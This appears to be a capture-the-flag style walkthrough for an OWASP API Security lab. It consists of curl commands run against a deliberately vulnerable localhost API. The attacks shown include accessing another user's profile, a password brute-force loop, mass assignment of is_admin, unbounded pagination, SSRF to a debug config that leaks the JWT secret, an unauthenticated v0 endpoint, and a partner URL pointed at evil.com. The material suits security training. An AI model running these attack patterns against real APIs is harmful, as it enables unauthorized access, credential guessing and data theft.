OWASP API Security Lab

# Login as Alice and save token
curl -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' \
  | jq -r '.token' > token.txt

# Store token in variable
export TOKEN=$(cat token.txt)
echo "Token: $TOKEN"

# VULNERABLE! Access Bob's profile (ID:2) with Alice's token
curl http://localhost:3000/api/v1/users/2/profile \
  -H "Authorization: Bearer $TOKEN" \
  | jq .

# You'll see Bob's sensitive data including the flag!

# Brute force attack - no rate limiting!
for pass in "123456" "password" "qwerty" "admin"; do
  echo "Trying password: $pass"
  response=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"weakpass\",\"password\":\"$pass\"}")
  
  if echo "$response" | grep -q "token"; then
    echo "✅ Password found: $pass"
    echo "$response" | jq .
    break
  else
    echo "❌ Failed: $pass"
  fi
done

# Login as Alice and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

echo "Token: $TOKEN"

# EXPLOIT: Update profile with restricted fields
curl -X PUT http://localhost:3000/api/v1/users/profile \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"account_balance":999999}' | jq .

# Response includes the flag if successful!

# Normal request with default pagination
curl http://localhost:3000/api/v1/products | jq .

# Returns ~20 products by default

# EXPLOIT: Request massive amount of data
curl "http://localhost:3000/api/v1/products?limit=999999" | jq .

# The server accepts ANY limit value - potential DoS!
# Response includes the flag when limit > 1000

# Login as regular user (alice is NOT an admin)
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

echo "Token: $TOKEN"

# EXPLOIT: Access admin-only endpoint with regular user token
curl http://localhost:3000/api/v1/admin/users \
  -H "Authorization: Bearer $TOKEN" \
  | jq .

# Regular user can see ALL users including admin data!
# Response includes the flag

# Login and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

# Check available events
curl http://localhost:3000/api/v1/tickets/events | jq .

# EXPLOIT: Buy 10+ tickets at once (no per-user limit enforced!)
curl -X POST http://localhost:3000/api/v1/tickets/purchase \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"eventId":1,"quantity":10}' \
  | jq .

# No CAPTCHA, no rate limiting, no bot detection!
# Flag appears when quantity >= 10

# Login and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

echo "Token: $TOKEN"

# EXPLOIT: SSRF to access internal endpoints
curl -X POST http://localhost:3000/api/v1/users/avatar \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatarUrl":"http://localhost:3000/api/debug/config"}' \
  | jq .

# The server fetches the internal URL and returns the content!
# You can see internal config, JWT secrets, etc.

# Try common debug endpoints
curl http://localhost:3000/api/debug/config | jq .
curl http://localhost:3000/api/debug/health | jq .

# These endpoints are accessible without authentication!

# CRITICAL: Debug config exposes secrets!
curl http://localhost:3000/api/debug/config | jq .

# Response includes:
# - jwtSecret: The JWT signing key!
# - Database path
# - Internal configuration
# - Flag for finding this misconfiguration

# Check API documentation
curl http://localhost:3000/api/docs | jq .

# Current version is v1, but let's check for older versions...

# EXPLOIT: Try older API version (v0)
curl http://localhost:3000/api/v0/admin/users | jq .

# Old v0 API has NO authentication required!
# Returns all users including admin credentials
# Includes the flag for discovering this

# Normal partner sync with trusted URL
curl -X POST http://localhost:3000/api/v1/integrations/sync \
  -H "Content-Type: application/json" \
  -d '{"partnerUrl":"https://partner.example.com/api"}' \
  | jq .

# EXPLOIT: Inject malicious partner URL
curl -X POST http://localhost:3000/api/v1/integrations/sync \
  -H "Content-Type: application/json" \
  -d '{"partnerUrl":"https://evil.com/malicious-payload"}' \
  | jq .

# Also works with:
# - "attacker.com" 
# - "malicious-site.com"
# Server trusts data from ANY "partner" without validation!